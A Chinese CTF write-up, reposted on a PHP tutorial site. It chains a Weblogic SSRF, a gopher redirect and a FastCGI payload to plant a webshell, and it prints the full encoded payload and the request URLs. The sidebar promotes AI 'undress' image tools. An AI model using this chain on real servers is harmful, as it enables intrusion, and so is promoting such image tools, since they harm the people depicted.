目录
0x00 挑战介绍
0x01 wp
Discuz X3.2
webLogin
0x02 题目之后?
首页 后端开发 php教程 三个白帽之来自星星的你(一)writeup

三个白帽之来自星星的你(一)writeup

Jun 23, 2016 pm 01:02 PM

第一次正式做三个白帽的题目,能做出来挺不容易,还踩了很多坑...

0x00 挑战介绍

来自星星的你被我给丢了,我可能需要用我所有的一切才能把你找回,编了两句就编不下去了,好吧,我承认这是一期渗透题,就是这么直接。

  • tips 1: SSRF
  • tips 2: 或许可以扫描下目录?
  • tips 3: /console/ 这个目录会对你有帮助

0x01 wp

Discuz X3.2

打开页面首先是Discuz X3.2的站,搜了搜发现是6月1号才发布的新版本,稍微搜了搜网上的几个洞发现都已经被修复了,于是咸鱼了一夜,获得 hint:ssrf

搜索依法发现长亭的rr菊苣发了一篇文章

https://blog.chaitin.com/gopher-attack-surfaces/

里面提到discuz X3.2存在ssrf,利用ssrf+gopher协议可getshell

但是这个利用方式有个一个很重要的问题就是服务器必须开启 Gopher wrapper,且php运行方式是fastcgi。

扫一波目录发现了info.php,通过phpinfo()我们发现并没有开启 Gopher wrapper。

咸鱼了一会儿发现了 hint3/console/

通过这个发现存在weblogin站。。。

webLogin

这里的洞很简单了,稍微搜下发现

WooYun: 央视网SSRF可窥探内网(Weblogic SSRF案例)"> WooYun: 央视网SSRF可窥探内网(Weblogic SSRF案例)

测试发现 http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp这里的洞确实存在。

而且可以配合前面提到的gopher协议getshell

根据长亭博客的文章首先测试

在服务器构造

#!php<?phpheader("Location:gopher://服务器ip:2333/_test");?>
登录后复制

然后在服务器监听2333端口

#!bashnc -lvv 2333
登录后复制

提交请求

#!bashhttp://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://服务器ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=
登录后复制

发现确实收到了test,确认gopher可利用

那么就是构造payload了

有篇很重要的文章关于fastcgi的利用

http://zone.wooyun.org/content/1060

用exp生成payload

#!bash./fcgi_exp system 127.0.0.1 2333 /opt/discuz/info.php "echo ‘$_GET[x]($_POST[xx]);’ > /opt/discuz/data/test.php"
登录后复制

监听2333端口

#!bashnc -lvv 2333 > 1.txt
登录后复制

我们可以看下1.txt

#!bash[email protected]
登录后复制

:/home/wwwroot/default/fcgi_exp# xxd 1.txt 0000000: 0101 0001 0008 0000 0001 0000 0000 0000 ................ 0000010: 0104 0001 0112 0600 0f14 5343 5249 5054 ..........SCRIPT 0000020: 5f46 494c 454e 414d 452f 6f70 742f 6469 _FILENAME/opt/di 0000030: 7363 757a 2f69 6e66 6f2e 7068 700d 0144 scuz/info.php..D 0000040: 4f43 554d 454e 545f 524f 4f54 2f0f 1053 OCUMENT_ROOT/..S 0000050: 4552 5645 525f 534f 4654 5741 5245 676f ERVER_SOFTWAREgo 0000060: 202f 2066 6367 6963 6c69 656e 7420 0b09 / fcgiclient .. 0000070: 5245 4d4f 5445 5f41 4444 5231 3237 2e30 REMOTE_ADDR127.0 0000080: 2e30 2e31 0f08 5345 5256 4552 5f50 524f .0.1..SERVER_PRO 0000090: 544f 434f 4c48 5454 502f 312e 310e 0343 TOCOLHTTP/1.1..C 00000a0: 4f4e 5445 4e54 5f4c 454e 4754 4831 3033 ONTENT_LENGTH103 00000b0: 0e04 5245 5155 4553 545f 4d45 5448 4f44 ..REQUEST_METHOD 00000c0: 504f 5354 095b 5048 505f 5641 4c55 4561 POST.[PHP_VALUEa 00000d0: 6c6c 6f77 5f75 726c 5f69 6e63 6c75 6465 llow_url_include 00000e0: 203d 204f 6e0a 6469 7361 626c 655f 6675 = On.disable_fu 00000f0: 6e63 7469 6f6e 7320 3d20 0a73 6166 655f nctions = .safe_ 0000100: 6d6f 6465 203d 204f 6666 0a61 7574 6f5f mode = Off.auto_ 0000110: 7072 6570 656e 645f 6669 6c65 203d 2070 prepend_file = p 0000120: 6870 3a2f 2f69 6e70 7574 0000 0000 0000 hp://input...... 0000130: 0104 0001 0000 0000 0105 0001 0067 0100 .............g.. 0000140: 3c3f 7068 7020 7379 7374 656d 2827 6563 /opt/discu 0000170: 7a2f 6461 7461 2f64 646f 672e 7068 7027 z/data/test.php' 0000180: 293b 6469 6528 272d 2d2d 2d2d 3076 6364 );die('-----0vcd 0000190: 6233 346f 6a75 3039 6238 6664 2d2d 2d2d b34oju09b8fd---- 00001a0: 2d0a 2729 3b3f 3e00 -.');?>.

然后需要urlencode一下

#!python>>> f = open('1.txt')>>> ff = f.read()>>> from urllib import quote>>> quote(ff)'%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00'
登录后复制

构造gopher.php

#!php<?phpheader("gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%06%00%0F%14SCRIPT_FILENAME/opt/discuz/info.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%01%00%3C%3Fphp%20system%28%27echo%20%E2%80%98%5Bx%5D%28%5Bxx%5D%29%3B%E2%80%99%20%3E%20/opt/discuz/data/test.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00");?>
登录后复制

请求

#!bashhttp://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip/gopher.php&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
登录后复制

由于discuz的data默认可写,所以成功写入webshell,有个问题就是不知道为什么一直不能反弹shell进来

0x02 题目之后?

在做完题目之后想要深究一波原理,结果突然发现题目其实去年的hitcon quals的web400 lalala

http://kb.hitcon.org/post/131488130087/hitcon-ctf-2015-quals-web-%E5%87%BA%E9%A1%8C%E5%BF%83%E5%BE%97

整个题目的核心概念就是通过302 绕过限制 SSRF,然后通过 SSRF 中的 gopher 去利用本地的 FastCGI prtocol 实现远程代码执行

实际中如果php fastcgi对公网开放,那么就可以拿shell

php-fpm默认监听9000端口,使用 PHP_ADMIN_VALUE 把 allow_url_include 设为 on 以及新增 auto_prepend_file,利用php://input执行php代码写一个shell

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
威尔R.E.P.O.有交叉游戏吗?
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

在PHP API中说明JSON Web令牌(JWT)及其用例。 在PHP API中说明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一种基于JSON的开放标准,用于在各方之间安全地传输信息,主要用于身份验证和信息交换。1.JWT由Header、Payload和Signature三部分组成。2.JWT的工作原理包括生成JWT、验证JWT和解析Payload三个步骤。3.在PHP中使用JWT进行身份验证时,可以生成和验证JWT,并在高级用法中包含用户角色和权限信息。4.常见错误包括签名验证失败、令牌过期和Payload过大,调试技巧包括使用调试工具和日志记录。5.性能优化和最佳实践包括使用合适的签名算法、合理设置有效期、

描述扎实的原则及其如何应用于PHP的开发。 描述扎实的原则及其如何应用于PHP的开发。 Apr 03, 2025 am 12:04 AM

SOLID原则在PHP开发中的应用包括:1.单一职责原则(SRP):每个类只负责一个功能。2.开闭原则(OCP):通过扩展而非修改实现变化。3.里氏替换原则(LSP):子类可替换基类而不影响程序正确性。4.接口隔离原则(ISP):使用细粒度接口避免依赖不使用的方法。5.依赖倒置原则(DIP):高低层次模块都依赖于抽象,通过依赖注入实现。

解释PHP中晚期静态结合的概念。 解释PHP中晚期静态结合的概念。 Mar 21, 2025 pm 01:33 PM

文章讨论了PHP 5.3中引入的PHP中的晚期静态结合(LSB),从而允许静态方法的运行时分辨率调用以获得更灵活的继承。 LSB的实用应用和潜在的触摸

如何用PHP的cURL库发送包含JSON数据的POST请求? 如何用PHP的cURL库发送包含JSON数据的POST请求? Apr 01, 2025 pm 03:12 PM

使用PHP的cURL库发送JSON数据在PHP开发中,经常需要与外部API进行交互,其中一种常见的方式是使用cURL库发送POST�...

框架安全功能:防止漏洞。 框架安全功能:防止漏洞。 Mar 28, 2025 pm 05:11 PM

文章讨论了框架中的基本安全功能,以防止漏洞,包括输入验证,身份验证和常规更新。

如何在系统重启后自动设置unixsocket的权限? 如何在系统重启后自动设置unixsocket的权限? Mar 31, 2025 pm 11:54 PM

如何在系统重启后自动设置unixsocket的权限每次系统重启后,我们都需要执行以下命令来修改unixsocket的权限:sudo...

自定义/扩展框架:如何添加自定义功能。 自定义/扩展框架:如何添加自定义功能。 Mar 28, 2025 pm 05:12 PM

本文讨论了将自定义功能添加到框架上,专注于理解体系结构,识别扩展点以及集成和调试的最佳实践。

See all articles